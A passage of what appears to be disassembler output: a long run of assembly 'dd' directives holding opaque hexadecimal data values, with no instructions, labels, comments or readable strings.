		dd 0D3C6B464h, 0C888EA42h, 0E9584AC2h, 6A790433h, 0E94F09F2h
		dd 3FF7A1D3h, 0E9F169BCh, 0A03F7B6h, 0B252505Ch, 0C3E8FB4h
		dd 0E5D742D4h, 8079B004h, 0F642EF1Eh, 82C7FEC9h, 0D61DA7BCh
		dd 12E148ECh, 67BED5h, 0C4FC23A2h, 52661E62h, 17F66DBDh
		dd 5F5108A0h, 0D3B06F83h, 4C7B505h, 0BB95193Fh,	8360C8F7h
		dd 0F259C0C2h, 54570784h, 87889F90h, 290248E2h,	1E965FEh
		dd 86395ECBh, 168706D6h, 7F1E52BDh, 80B75081h, 6D80C87Bh
		dd 3E116806h, 0CC5F2079h, 0DDDF3127h, 0E92FB99Ch, 0D0CF89B0h
		dd 2E0F20BFh, 92E0585Ah, 84061BA6h, 0C4FCA20Eh,	0AAEE94C0h
		dd 0C23EF92Dh, 4B4AFADBh, 359ADF36h, 0E9892EB9h, 559442F2h
		dd 895F9409h, 673B909Bh, 0A095DF7Ah, 0CE3E3D3Fh, 0E812A186h
		dd 7E2A7E46h, 62017D83h, 0F7AA4455h, 0EA91A0F5h, 97C965E9h
		dd 681545Ch, 5A6E9871h,	0C94EA22Ah, 54BEC132h, 9CE4B238h
		dd 0F45CA6D3h, 0DA09DE10h, 0A7F7DB95h, 4E62DE76h, 14550BBAh
		dd 4C08FC9Dh, 0CBB126B2h
		dd 0BDD87B59h, 56CD4093h, 440BE38h, 0DEF7683Bh,	67D3A4EEh
		dd 14045F01h, 555EF101h, 3AD45281h, 28D17AA8h, 1D7B042Dh
		dd 728072C0h, 4E664B8Ah, 37038124h, 79FD05F7h, 8AECCF13h
		dd 202A5581h, 81E7B5B7h, 0FBF4C121h, 0EA966E36h, 0B573BC2Fh
		dd 4E64183h, 1393C531h,	0F036C1EDh, 0A3E005EFh,	0ABEB0B80h
		dd 74E6DA88h, 40F26813h, 9FB55830h, 1E738E9h, 7E71CBCEh
		dd 5339EF2Dh, 0EB9CB459h, 5FE63B12h, 25E8B073h,	0C2765450h
		dd 3CCE7D72h, 0EB54DCB5h, 0D942EA5Eh, 53A90FF1h, 0CD9B6577h
		dd 3B19604Ah, 2D276901h, 235312CFh, 0D285E47Bh,	0C587C040h
		dd 0EB2C74C7h, 0C100BCD9h, 511C490Ch, 0AE42FE60h, 0B3530176h
		dd 78F12A64h, 8B6AAC6Eh, 8D6D5D55h, 0F912FB2Ch,	0A6B14A43h
		dd 8002C9C0h, 0F1CC5031h, 0D9F633C2h, 0D8E95710h, 0C98128EFh
		dd 632742FEh, 6ABBE843h, 1A2165Fh, 5A81CAFAh, 589402F9h
		dd 0F66F4509h, 19E13380h, 0BB9CC92Ch, 28FC5A13h, 7D9CB75Ah
		dd 920B6E4Ah, 25AF5D59h, 0D7B8FD62h, 2F1EF8D5h,	0E36C58C5h
		dd 0E6B07D20h, 0C6303CE1h, 77C752B7h, 0DBFA72D0h, 6AAF465Ch
		dd 8784FFBEh, 7DB60021h, 0E1F2C380h, 0A95B43FAh, 0D0C35A66h
		dd 97E242E9h, 0D689EE8h, 277197h, 0B5D6B753h, 3F2FE970h
		dd 2CD071C3h, 9EDE09A5h, 80037330h, 24D8F548h, 0ED1C8EE5h
		dd 0FFC5993Ch, 260010Ch, 507582F6h, 93E60471h, 0AA297077h
		dd 0FC1FD1E0h, 90D87908h, 44050B5Fh, 7C833761h,	9878628h
		dd 0C5DD6229h, 8DCD435Ch, 0DCC11D00h, 2DE57ED3h, 8A510007h
		dd 7AC0053Dh, 7BB0623Ch, 0CA0747F9h, 79E90911h,	1E4194A7h
		dd 0E9BD77E4h, 1364018Ah, 0D701736Dh, 8061C21h,	9F50B0Ch
		dd 8C6816BCh, 8881170Eh, 8FEA8241h, 1421CC3Fh, 0F5B28BB5h
		dd 7B0B4E97h, 98B910EFh, 75892D57h, 9F5A7FF0h, 0E43E0CB5h
		dd 0EF2DCB1Fh, 0F3368072h, 0BBC593Ch, 471CE927h, 81BB967Fh
		dd 42E2906h, 0AC8735B1h, 0EB688296h, 0EE794Bh, 12A5BD66h
		dd 0E6756E9h, 0D0D75018h, 0E158C6F2h, 177E0172h, 0A170EB2Bh
		dd 5E0841B4h, 0C620AEE7h, 3D3A92EFh, 0F3AE602Eh, 2076AFE8h
		dd 6C517A03h, 8919E174h, 8070DC7Ah, 9BB9740h, 5E7D6D01h
		dd 5AD3E85Dh, 0E1187368h, 0F1BCEC7Ah, 316A32CBh, 2A48404Ah
		dd 435073D8h, 942C17B8h, 0C81F305Ch, 0D468A405h, 0B1E82218h
		dd 0B03B989Eh, 593F34A5h, 1223C02Fh, 1116726Eh,	6491E889h
		dd 8157D7A1h, 0D9344963h, 4312104h, 18A0F37Eh, 0F0816960h
		dd 0EE01806Ah, 3E099890h, 7574621h, 0FE574880h,	7E18E931h
		dd 0C205A669h, 813A21B0h, 9D628A77h, 0BEEAEB3Fh, 0A86E20E5h
		dd 1BCD3649h, 0DB0704E0h, 88EF127Ch, 5216BFC3h,	9B16851Ch
		dd 0ACDA29A9h, 0B53F46E8h, 21AFD612h, 0D52C04E8h, 240D1066h
		dd 41167940h, 9BBD53Ch,	0AA74A7Dh, 6BDD8F57h, 0B9EA85C7h
		dd 0CBEA47D5h, 83D25FC3h, 0C78449C5h, 0CA4FF02Ch, 65751740h
		dd 0EDBDEF34h, 0BA08EF16h, 23728269h, 3B5EA4D7h, 11408B41h
		dd 7B3C6F1Ah, 0B6D5FC76h, 402F45F0h, 0B9E281DDh, 6461C065h
		dd 4B039B0Ch, 0F2F33089h, 0ED6A6A7Ch, 0A9113704h, 0A4347082h
		dd 81FA5FF8h, 7F74FEAh,	7A1CD7EBh, 7E9C114h, 87D73583h
		dd 0B7EC3BE1h, 0F77EE192h, 0EBE16F2Eh, 682BC041h, 54291E55h
		dd 0CD5E8C62h, 400EF5BDh, 0C01D9357h, 6F3DB4E5h, 0C52B069h
		dd 472728B2h, 0C67B1324h, 0F609AA5Bh, 71C6D75Bh, 58625EB7h
		dd 0FDB2D2A4h, 134A8848h, 0E6A87596h, 444C9AE6h, 0E9E08734h
		dd 29D62419h, 58AF5B0Bh, 0F2B510A7h, 1FA2741Dh,	0B875478Fh
		dd 16D231D1h, 0E66EF568h, 0DFE9098Bh, 0DCC72B8h, 2C953A1Fh
		dd 4EB4686Eh, 804F62BCh, 7988051Eh, 2914CB16h, 2E072310h
		dd 0A369BA59h, 2A3DC03h, 287FC3DBh, 81627EA9h, 7692F270h
		dd 82FD74A9h, 2E536ACAh, 821CDA31h, 0CD6B4008h,	898B57Bh
		dd 0FE9A98E0h, 0B0D0F63Ch, 0C0FE0811h, 0BFF0582Ch, 9EE9EC0Fh
		dd 13FD839Ah, 0FCBFDA19h, 5F59F82h, 0BBFEC3F8h,	0D106B923h
		dd 0B603AC7Ah, 0F1EF80DBh, 0BAF08850h, 7BF74C64h, 0C032CE77h
		dd 556530E6h, 0D3CE1DF1h, 0A418BBAh, 69723F68h,	0F83A18A5h
		dd 0BC5F20E9h, 20C5A5Ch, 0AD6B3405h, 60CC5F1Ah,	0BE090FB4h
		dd 0F565ABB7h, 89AE28A8h, 34D4312Bh, 0ED5AD10Ah, 4F5ECA00h
		dd 0C020E91Ch, 1D6F2D6Fh, 50547C1h, 8CB911BDh, 0BA28B7E0h
		dd 345C51B1h, 7F349806h, 4A692754h, 1AD64048h, 344CAC33h
		dd 0E1D509FAh, 67E3D68h, 1AC1B865h, 0BD603361h,	0BF70178Bh
		dd 0ED890071h, 4E752A6Eh, 60DF42BDh, 930103B0h,	531D16E6h
		dd 0FA23176Bh, 4DE9002Ch, 5927F5B1h, 3EDC7AB0h,	0BDB38388h
		dd 7255B092h, 97507C66h, 4FE24AF4h, 82BC74DCh, 49A76BA4h
		dd 5AB6460h, 7268032Fh,	13F20262h, 420E2518h, 5A548777h
		dd 0C9E92320h, 9FF5929Dh, 24BA79h, 24BAF112h, 573A2316h
		dd 0ABE9D90Bh, 6F71DCB3h, 90B2FE24h, 2610CD5Ah,	7515FA25h
		dd 3D885h, 0F46C06CDh, 4724E97Dh, 0E19B08DEh, 2A14A0A2h
		dd 5E64E9Ah, 0CA78D824h, 1A304FC0h, 3A5F3h, 68553862h
		dd 521C48CAh, 0DF61C29Fh, 70ADAB79h, 63D69FF5h,	288BA054h
		dd 48711C23h, 3465D768h, 0A5E1A8ACh, 0F021100h,	90C176DFh
		dd 81464BB2h, 302A8258h, 5E5EF031h, 0A218F5F5h,	3842028Fh
		dd 0E108E957h, 5E589982h, 173D215Eh, 0C9D1DA23h, 0E605AE72h
		dd 0FD1A63DBh, 0EEB5021Fh, 656166D6h, 975FE55Fh, 9A0D0522h
		dd 0CE23FF29h, 524F6D5h, 0E3685142h, 0BD74410Dh, 0DAA16BD6h
		dd 25FCE381h, 44096090h, 5F8CAC4Eh, 3C681752h, 8BDDF669h
		dd 0C5F6FE5Ah, 6EBDA116h, 0FE9797F2h, 0A66B413Dh, 0B1CF1147h
		dd 0D6ADE74Bh, 1363CDC8h, 0E2622559h, 0DCED0402h, 4281DE1Eh
		dd 0BD326DB2h, 0F01C895Ah, 64260899h, 0CF16C803h, 8450EC49h
		dd 64EBE462h, 0BC3FC4B8h, 712C13A5h, 0BACA04BBh, 150512FAh
		dd 0B0EE46D6h, 902C6BDh, 1C87E83h, 85D1F5F2h, 0C1E807C5h
		dd 4428BD02h, 0A3FF1B9Fh, 0A84CE64Fh, 0B95AE97Ch, 1A5F010Bh
		dd 3B583E18h, 303CBFCh,	3CFCB02Dh, 4B83ECE4h, 76029CB2h
		dd 4C0178C4h, 76E9A5Fh,	0ECB4E90Ch, 0C1098A8Ah,	308307E0h
		dd 0BB84F29h, 0B35E1FE9h, 0E2F8C874h, 0B04F1F46h, 4505C75Eh
		dd 89424A03h, 90C7C9BEh, 1317232h, 3E583116h, 0B47BD9D9h
		dd 9F65A5D2h, 0D8EAFE29h, 0D4B52968h, 259FA062h, 0C2FBF719h
		dd 0E22795A6h, 0A358D752h, 3B5A073Bh, 9C0072C3h, 0F619B151h
		dd 0F0B353D9h, 63E92D52h, 0F95D9E42h, 7AD072A6h, 8AAA3E00h
		dd 0D5895586h, 0E3974FE9h, 0D6F27B75h, 74305D41h, 5E7F1762h
		dd 5030B837h, 0C26C3BEAh, 198588A8h, 0A405EBC0h, 30D8C1ABh
		dd 98A4260Dh, 69F642C3h, 5F10D621h, 4C41A85Fh, 0BE802032h
		dd 2B50866h, 0B02F133Eh, 0D253640h, 453314Bh, 0EEFEFD05h
		dd 2EFAE8BCh, 0BA81A692h, 21064769h, 61F0D3F1h,	0A19C978Eh
		dd 440CEB90h, 0C4A3A07h, 22C71228h, 0E803AEDAh,	875B84E9h
		dd 8C45DD09h, 16AFE588h, 6555A5Eh, 0A8982E60h, 70B55180h
		dd 4A90FD19h, 0C6FE1349h, 9AB52D60h, 0C0D507F6h, 378006E5h
		dd 8ED60F0h, 61945266h,	0E9DA0B39h, 0EC8172E8h,	9AD70BA8h
		dd 0E0E03155h, 0BD80DC60h, 3A760922h, 8180457Eh, 4A40558Fh
		dd 0E29CC09Dh, 0D95381C3h, 3E483202h, 0AB4A90E1h, 0EC21FF4Fh
		dd 0CC7EAF76h, 704E1772h
		dd 34F3D9B8h, 69C82202h, 625E39E6h, 116DF1Eh, 19973701h
		dd 59CE31C6h, 162DF2EDh, 0E2B52117h, 53E14BDDh,	1C25682Dh
		dd 985F1A85h, 0E8B73544h, 4CF75AD1h, 110499D0h,	0BFDAEE22h
		dd 4E0A09A0h, 0E692A815h, 3F6EC145h, 6E603B57h,	84112A8h
		dd 0BC7A3609h, 93EFA5E2h, 5302E138h, 2354992Dh,	41F9755Ah
		dd 0F832E909h, 13BE003Ch, 4E7CD602h, 5C13B951h,	910A0B48h
		dd 4F16E1D1h, 0C224AEE3h, 0D04604F6h, 3954EDE3h, 155AC0F7h
		dd 186B1368h, 9F78F27Eh, 5D164AEFh, 0ED003CB6h,	10A745D1h
		dd 554F2CE9h, 623E979Dh, 0F6CA7E5Dh, 105E5E60h,	0DC6AD832h
		dd 0E9C4DFDEh, 0D912EC43h, 225FF397h, 0D5012C02h, 2CDD083Dh
		dd 4F5AD22Fh, 8647AA66h, 177FAE39h, 90525B2Ch, 62AE586h
		dd 29D28B78h, 7787C305h, 8BBB2C09h, 2D017FA4h, 0E9648E2Bh
		dd 0A63EB985h, 8C2F7A32h, 0B0D54415h, 0D323A2Bh, 0AE594A93h
		dd 4FD19810h, 15DA5AFAh, 4D40955h, 5093767Dh, 0BB5BE142h
		dd 0C5800C84h, 7E53EFECh, 78BAD1FFh, 0B2208025h, 33CA80B4h
		dd 188EEA50h, 0E066CCFEh, 0DE74F6E6h, 5A7CF478h, 3980C43Bh
		dd 0D960F5B5h, 0AAE9380Ch, 0E59CBFC9h, 21E06804h, 28B14BCBh
		dd 963EE22Fh, 3AB23BA8h, 0EB8114FEh, 4A396F66h,	999E4960h
		dd 79330B19h, 21D3A2A5h, 9F9198D5h, 4D06ED37h, 110C59B3h
		dd 5A20EB1h, 47A73AFEh,	3C5B52EBh, 6B02ADC3h, 11E99ED4h
		dd 405BEAD6h, 1880E562h, 0B0269D62h, 1D06A461h,	221BE97Fh
		dd 2DF977F5h, 917137A1h, 45F5ED8Dh, 5918E8E6h, 0A668135Bh
		dd 0FA486031h, 334C850Dh, 16F42CAAh, 37EB2316h,	2905F30h
		dd 257C2F68h, 0AA2B635Eh, 0EE67DF7h, 9F42F0B7h,	0CF074B70h
		dd 0E9236069h, 9F6378C9h, 5D5A64F4h, 6690FE3Ch,	81098C12h
		dd 0C5E6B307h, 3CBE120Eh, 5DB06814h, 80E441E1h,	0C2310011h
		dd 55B6A858h, 0C967BD54h, 62899225h, 2F5F7A24h,	54C68276h
		dd 7DC3020h, 34B4B050h,	0BF322F81h, 6A80190Eh, 72FC12Ch
		dd 0B6655B79h, 960167E8h, 9714742Dh, 982AD448h,	9040802h
		dd 504558C5h, 0D0C1956Bh, 98152007h, 4EE6EC3Eh,	256884B0h
		dd 0E0730638h, 9459EB2h, 9B1E9CF4h, 1653B08h, 81ACE81h
		dd 0C6B7409Eh, 0FB2FA5BBh, 5D14C843h, 99FEB7F6h, 0A588D3CBh
		dd 79628D51h, 515200C9h, 0CEE4E188h, 104EC0F6h,	0BF3B76B4h
		dd 65D58BE2h, 51456B10h, 4AD3642Dh, 0DB9EFD93h,	6157D9E4h
		dd 98C6FA40h, 519D2705h, 0F600E85Ah, 1D7F974Eh,	1FDCBA52h
		dd 16FA71Bh, 0D110E1E2h, 99F2D803h, 0A9D703Fh, 0E6EF6EE9h
		dd 1FAFB880h, 3480FF4h,	403C7335h, 62E62D76h, 0E5200B98h
		dd 2D587136h, 54D6F028h, 55074C53h, 53502900h, 0BD45E952h
		dd 31F3ADA9h, 12413EBEh, 5BD8895Eh, 0C5C1C96Fh,	3FE1F682h
		dd 18313EEEh, 0F504D455h, 313F2074h, 9744B9D3h,	51077EE0h
		dd 0A309EE57h, 0A70CBF6Fh, 0B8D83FB2h, 4F92BD28h, 0F340EBF6h
		dd 66CE665Fh, 843B7028h, 5215DCBDh, 6E4E73DFh, 2D20DBA5h
		dd 7ADEF914h, 0E6B9C301h, 0E17A7530h, 6349E851h, 209D1B73h
		dd 0FEE32EB3h, 0B8894B97h, 767FE123h, 0BEDB781h, 3FFDAC28h
		dd 843B0AE1h, 1E14BF96h, 34DCE0F9h, 0E6B588Eh, 5C760220h
		dd 0DCBFFD25h, 2B64EFF1h, 1BB136Fh, 968AEA4h, 0D7ECF340h
		dd 763E80A3h, 0C1B854EAh, 4EC7DA4Bh, 5F95B0F2h,	0AA027FBAh
		dd 0E67DFF71h, 44362FEBh, 0CB6ED259h, 5BE577EFh, 0DCD35089h
		dd 4D98BB08h, 201E890Ah, 856E97BEh, 0A881D9F6h,	52302AB6h
		dd 0F1283AFAh, 0ACD8E9BAh, 0B7531E7Eh, 270C1F32h, 0C6A414E4h
		dd 16901497h, 85CDE950h, 40AEF9BFh, 171FFD8Ch, 0D1C8AA3Eh
		dd 0C38001CBh, 0ACF3286Dh, 702B0A82h, 3E779488h, 5EFC10Ch
		dd 0C1BF0806h, 0B800A7E1h, 703F3249h, 0CF99876Eh, 0F6F3FA8Ah
		dd 72394C83h, 0FE1371Bh, 6BFD93E9h, 0AB5E0CFDh,	65495F38h
		dd 0FC5E0AE8h, 8555268Ch, 1A30A920h, 3FE9D025h,	5B56A47Eh
		dd 0FA97A444h, 32525F33h, 61A7EADEh, 4AF37327h,	0A452F885h
		dd 2FB229AAh, 5F8110ACh, 2A071D68h, 7BE39431h, 40D30005h
		dd 8C3F835h, 42CEB04Fh,	0A1EAE908h, 3EFC006h, 259E408Eh
		dd 1D15AA0Dh, 0FB304A4Eh, 62549649h, 20D42DDDh,	77844162h
		dd 8F5A114Eh, 2B392DBFh, 0BE301CEDh, 20E95610h,	518DD15Dh
		dd 7A80C5C8h, 615898EDh, 0D92D1E7Bh, 582AD60Bh,	0BE668B25h
		dd 383B3A30h, 16010BE6h, 0EEA3F8E9h, 0A8B35F31h, 0BA92AE14h
		dd 9547FF5Fh, 5074E909h, 0AF7B9753h, 0FB29780Bh, 99DEBC08h
		dd 7EED6BC5h, 350B0ED2h, 0B6BF2ED8h, 69B46D1Eh,	48A5DC9Dh
		dd 3D622250h, 66A558CDh, 9BF626E2h, 1AB0D152h, 0AB64CB4Eh
		dd 0D8D0315Ah, 0F5857EAh, 0CA01254Eh, 0F72B2DA4h, 0D1F616C6h
		dd 5A889D2Ch, 59B882CFh, 7BAD3061h, 0B64A23D0h,	898013D0h
		dd 2BA12DC8h, 801456C1h, 0BED7A169h, 0C4D55721h, 2515D16Fh
		dd 0AAAD7BFAh, 428C68CFh, 0D49514E2h, 37315CC7h, 6EB010ADh
		dd 1A2C86Ah, 423AF260h,	0FA3E2E44h, 99964B7Ch, 11AD6E74h
		dd 5EA7A910h, 42AD99A8h, 12F94429h, 0CD402A83h,	4C2E8B35h
		dd 2900840Bh, 0E9447741h, 4DC115ABh, 0EA6269E2h, 0DEA9C26Eh
		dd 1E455ADDh, 0CC5DEB31h, 0E65D76A2h, 7E68520Bh, 0BE06614h
		dd 5ED22D86h, 0E08DE855h, 33342F42h, 79F8D2DAh,	1B7FB713h
		dd 0D6013144h, 0D1B86FC1h, 8A43D07Bh, 11500F61h, 1013B5D4h
		dd 0BD1C649Eh, 784C1A4Bh, 67050345h, 0D3F72BA7h, 0C3AD045Bh
		dd 18A3BF04h, 6B18BEEDh, 1153512h, 0CB292ECEh, 64F71DE9h
		dd 671757C9h, 3CE96966h, 240A7474h, 7762F11h, 90717BF3h
		dd 96573E2Dh, 8031B92Dh, 1C4CE150h, 38A5E56Dh, 7ABECB81h
		dd 3177C46Fh, 0EAA3F760h, 2F41D11Dh, 0DD51FB01h, 0C3821068h
		dd 5D36CAE9h, 0FA8B7512h, 50578003h, 195368B6h,	225927B4h
		dd 4A24A2Fh, 1189FA5Bh,	0A5ACB37Ah, 48D05221h, 4ACD2981h
		dd 70552C42h, 16C9EB12h, 3C997658h, 26D0DAA5h, 4E30D8B5h
		dd 0EF16FF68h, 0EB093CEBh, 32680212h, 21E91242h, 26B455CDh
		dd 26101EBh, 42C0243Ch,	9661635h, 0DB5AD32Eh, 0F4595E00h
		dd 25DE2108h, 66F0465Bh, 6E2D0C02h, 0C202E7C1h,	0CA3841D7h
		dd 0B596BC3Bh, 3EB30681h, 2C45AC6Eh, 80703888h,	0E92A12F6h
		dd 0EA27E49Ch, 5B2CF11Dh, 81AADE2Dh, 6C5D9EE1h,	0B7DD3070h
		dd 789D4FB2h, 0EDF33DD3h, 0BCDBC993h, 0FA62C441h, 931BE17h
		dd 0BA04A5B9h, 39BA8680h, 6029416Ch, 0F741097Bh, 443B4C20h
		dd 700BEBFBh, 0DE0BAF20h, 9408A029h, 66890494h,	0E12DC139h
		dd 246800E7h, 0ACC5A837h, 0C05782B5h, 79353EBFh, 0E5E0B7C2h
		dd 0F62D2E6Eh, 815F5E3Bh, 81E95E5Bh, 0E89E5570h, 63680A88h
		dd 72CBFF14h, 0D548BDD8h, 33D632CAh, 342009F9h,	7051A938h
		dd 2CCB6D9Fh, 0E97BBA25h, 0CB840854h, 7754944Bh, 578F0080h
		dd 539D5C32h, 4D9D0254h, 46775B56h, 6AB804ADh, 0B0227E09h
		dd 454A0409h, 2985A841h, 506E4E44h, 675C081Ah, 27026809h
		dd 5500E7D3h, 8B5771BDh, 3042C132h, 6E737E2Eh, 272959F0h
		dd 1F0BF0Dh, 0ACE4599Dh, 291F163Ch, 0F7453E74h,	30BF0EFAh
		dd 4830401Ah, 77604945h, 6A4241D3h, 409FDDE0h, 0FF9E2DA4h
		dd 6DCB509Eh, 0FAF82BCFh, 5ED63104h, 0DC55F575h, 719796F1h
		dd 117F609Fh, 0D8B55A71h, 0DEAE542Dh, 80C213FEh, 0D1100FF2h
		dd 2E22538Bh, 4E0C731h
		dd 31991DF0h, 577A6842h, 53BB2718h, 661A5F09h, 50E00643h
		dd 0E3F6B50Fh, 829975CBh, 277689Dh, 1549A4BDh, 0A2D0FF54h
		dd 41C81ABFh, 1145F6B4h, 0DC03AE0Bh, 490DCA95h,	0BAE07FFEh
		dd 2794B16h, 0FD6DB842h, 0FB5709BDh, 370727B0h,	3ED0A05h
		dd 357FF8E6h, 5069BCDCh, 3A25F902h, 2E87449h, 0A20E7A43h
		dd 6E6467E1h, 8968BB20h, 7EE9834Eh, 42612E5Ch, 5903A3BCh
		dd 0A5DB5003h, 0EA299715h, 215B405Dh, 63A92D14h, 8038247Eh
		dd 26A31C32h, 0CB4CC6E9h, 0BFC5594Ch, 644C8DAFh, 3961F83Eh
		dd 0A73E4879h, 23D0FB3h, 2958C517h, 3C0463Bh, 0AF301480h
		dd 3571862h, 0C7104B40h, 0A76871E8h, 48D2363Dh,	46EC06BFh
		dd 10B88BFh, 15AD729h, 2B3EE9FEh, 2304D90Fh, 0EF2CE828h
		dd 49D41767h, 14BBEFB0h, 0E2CB5822h, 932CE018h,	5304F9EBh
		dd 0D83193ACh, 0E9C26EA8h, 67B05DD1h, 0DDFBC209h, 0C94E485Ah
		dd 0F16E5212h, 0AAE45113h, 0EB3D2FE9h, 1C1C69h,	1D28C604h
		dd 4EB151F0h, 0C8EF372Ch, 12E9047Dh, 0B3A9A473h, 0E042243Ch
		dd 8056E450h, 6036B045h, 84C2916Fh, 0EB7BE8DFh,	0C66D392Fh
		dd 411E5E3Ah, 28C9ED16h, 5F97D7C5h, 0AE70DDABh,	0D08C3794h
		dd 2F6810E6h, 0FC187225h, 0EA88822Dh, 0B55E3C3Ah, 0D8DF30FBh
		dd 0DE8D116h, 4E1EA016h, 90018FFCh, 29F6646Fh, 0ABC407D8h
		dd 0C39C76ACh, 59D14DAh, 44DFD002h, 0E2290B58h,	739476CDh
		dd 3CAF865Ah, 889D9AFDh, 10088A45h, 69B80035h, 1F7DBD7h
		dd 5F1BC157h, 22D36F0h,	40311053h, 8742E801h, 3B050809h
		dd 42C9FAD0h, 9021B07Fh, 0B1EC3AE1h, 650866B3h,	184BDE9h
		dd 0DC7B3A68h, 9BBBBE5Eh, 0CF52DD58h, 404DE95Eh, 5814781h
		dd 0F807DEFh, 228316B8h, 3DCA8EB4h, 0F446FA55h,	8C894F5Fh
		dd 95DD3EE5h, 0D8EC9DD6h, 0FCCEE33Ah, 775FA208h, 79745240h
		dd 0C14CE025h, 2300D84h, 35300E02h, 6ACB6D29h, 0E9278350h
		dd 539C0544h, 2D96F7F6h, 7DA32BBEh, 0FCD630DAh,	0BA095292h
		dd 0F514E291h, 0CC9A091Eh, 0C97FBC80h, 19D85581h, 62E79C64h
		dd 35DABC57h, 0CC2E0F33h, 2684E081h, 29611EE0h,	85039C1h
		dd 661EC058h, 53166373h, 0B84F24ECh, 464765EBh,	0A35B9EEBh
		dd 8010398h, 4971776Bh,	10857C29h, 0ADB8ADE9h, 36B10442h
		dd 8FE14F4h, 0CC4B892Ah, 0A259488Bh, 19485B04h,	49B4EB22h
		dd 63839CCh, 404EB14Bh,	6CB95191h, 7EDE182Dh, 15E904F4h
		dd 0E559A8C2h, 2A7705FEh, 1829E36Bh, 0EE31A7A3h, 4CBB7719h
		dd 0CA58DB58h, 80181425h, 5B81AC3Ch, 203EBC7Eh,	4E65EAD7h
		dd 102CFEF3h, 0CBA34EA7h, 44FE050Fh, 0B2F1308Fh, 46C31780h
		dd 1B53C16h, 94CADF4Ah,	403AED40h, 0F8B748CBh, 297607D1h
		dd 81BF40F6h, 7A4E8239h, 2FF1CC4h, 1C470921h, 89FB17F5h
		dd 7A7BA043h, 4A17529Fh, 0BF5877A0h, 0B228A859h, 3A31749Eh
		dd 17411AB7h, 3101B0F7h, 0BDD9D9F9h, 0B1E599A8h, 3F60D617h
		dd 6046F4F0h, 2BC2FBE2h, 5C9F12ADh, 558E0960h, 48610FA3h
		dd 3DAE0B12h, 2C3AAE2Dh, 0E92F5E18h, 208B7213h,	0BF029FD8h
		dd 520E5881h, 8E8989h, 0ADF1A7ACh, 1E0A26E9h, 6643B688h
		dd 6E4BC37Ch, 615C1FC0h, 0B112CC9Dh, 9B5BB64Fh,	5B09E1ACh
		dd 92079904h, 8DA0EBDBh, 1D01276Bh, 0D915BE04h,	2F80E2FEh
		dd 34F83234h, 0E216E91Fh, 0D5A7829h, 0C0E50C1Ch, 4822C47Ch
		dd 92109EDAh, 0BFD58F4h, 1830F168h, 0C99C50A1h,	0CD1B9F16h
		dd 77D277C2h, 5DDAC300h, 0BA524FE5h, 751A1223h,	0CFA73067h
		dd 0F61F61Eh, 6523710Ch, 0F0C742D9h, 0FE8866F2h, 1BD2BF89h
		dd 1450FB60h, 0B81FB26Ch, 5E2E8201h, 85364FC3h,	6D6DFAA9h
		dd 13EBA63Ah, 0C3307749h, 4ADB100Bh, 9FFCA02Dh,	4D531418h
		dd 4C3D5ABCh, 0E202A4B2h, 0D381833h, 0AE61ED85h, 98BFD235h
		dd 0D224684Eh, 0CCC2E008h, 5D2DCADAh, 0CB2D4040h, 160C631Dh
		dd 0BA07AA42h, 13A5603Dh, 7E52813Fh, 6DB1C185h,	6B8EA73Eh
		dd 0BEF4C10h, 19A3392Fh, 82106F0Bh, 1E1EB0CEh, 96CB332Bh
		dd 69BAC612h, 8C00C1F5h, 79AB2AB4h, 609AEDF6h, 0DF875A27h
		dd 47F75132h, 1F6C0BA9h, 0D48EDC7Ch, 0B5B83738h, 1631060Fh
		dd 5FFB8960h, 8627E951h, 0DEB4F7F3h, 8887F0C4h,	0C917B413h
		dd 0E4F21009h, 0BFDB6453h, 765A4ED8h, 854CA731h, 3979993Fh
		dd 52E9C23Bh, 0EF0F54C9h, 919E0765h, 2F460CE1h,	55CFBBCCh
		dd 0AB000815h, 9F74F928h, 0DE258CDEh, 0B25A8909h, 7F5A5874h
		dd 0B3E93518h, 6426F069h, 8ABAC97Bh, 80022C68h,	4AD6C23Eh
		dd 5E0C03B0h, 93C4E39Eh, 0E0D8D6AAh, 0DE1E530Fh, 9CE46432h
		dd 1D406802h, 0DE699855h, 86408209h, 8180715Fh,	17A117C9h
		dd 1F1FA2h, 0E262BE47h,	6DEECF31h, 178FDB97h, 50DB292h
		dd 2C194F74h, 2CE79E08h, 0E6E20B46h, 5769E7Fh, 610382C6h
		dd 17F20463h, 8E800FBBh, 0FBE51F66h, 0D6F60CC0h, 0E6308004h
		dd 1EE0B17h, 0A2B70753h, 325BFE28h, 5A575AF5h, 9DF69049h
		dd 30876576h, 1623C4Eh,	505B16C8h, 2884E7FCh, 0E4530CD1h
		dd 7E09811Ah, 0FA82CF2Dh, 76BC37A0h, 0F8FFE3FFh, 2D0D9ACDh
		dd 5DDA21CCh, 44283E24h, 7DFC56C5h, 6EA26BB9h, 0C944682Eh
		dd 3E4DD760h, 85B6328h,	553AD80Bh, 0B8BADF48h, 65D50C0Bh
		dd 0A4DD0D07h, 50357C10h, 3D13F3D1h, 4FA1A54h, 0FEEE016Fh
		dd 38986064h, 0E04033E9h, 0DB795340h, 393D302Fh, 0E83499Bh
		dd 1B7E62A1h, 7FACC7E1h, 1D4B1E41h, 0EA607DDFh,	0A66DBF9Ah
		dd 29EA5C12h, 9EFC3E85h, 8F38A0E5h, 0A34D7258h,	1E169C1Bh
		dd 0A9B85694h, 55448F4h, 3B082E4Bh, 89EF7992h, 92F5D108h
		dd 0F13DFB5Ah, 48585369h, 0A0A8E90Bh, 0F7503ED6h, 21E9B2Ah
		dd 6A20065Ah, 30D0BFE3h, 23923251h, 0B7D6E913h,	0BB10C18Ah
		dd 20BA173Fh, 286623C8h, 58D7674Bh, 8419DFAh, 0A80DB020h
		dd 1E060583h, 895DCC3Ah, 0E35163D1h, 579E538Ah,	5EAD09C9h
		dd 204920A9h, 0F72690E8h, 0B526F2D1h, 0CEB9431Ch, 0ACF0F00h
		dd 0D26F5D5Ah, 0F4C80410h, 0DEC492CDh, 0C47087C1h, 4BBD2F81h
		dd 0F1044A05h, 7012AD73h, 5F711E88h, 1CEBD2CDh,	6167C2DBh
		dd 9640414Fh, 0B9092E38h, 45DE019Ch, 0F6023B46h, 43E03426h
		dd 0C688BE2h, 0F15F8859h, 3208CD1h, 5F29DA7Eh, 5922AFC0h
		dd 8B0B9D30h, 75D273DCh, 5A178558h, 2DACE1C0h, 4BA28210h
		dd 488462EAh, 0F7466057h, 0DA0501D0h, 2D08B865h, 0A7B530A3h
		dd 0E24BE92Dh, 0A2F8F792h, 0B5AE8B58h, 209E82B2h, 0DEA4DC2Fh
		dd 8E864C4Ah, 9AC30180h, 571E122Bh, 7D780038h, 2D4C1B6Ah
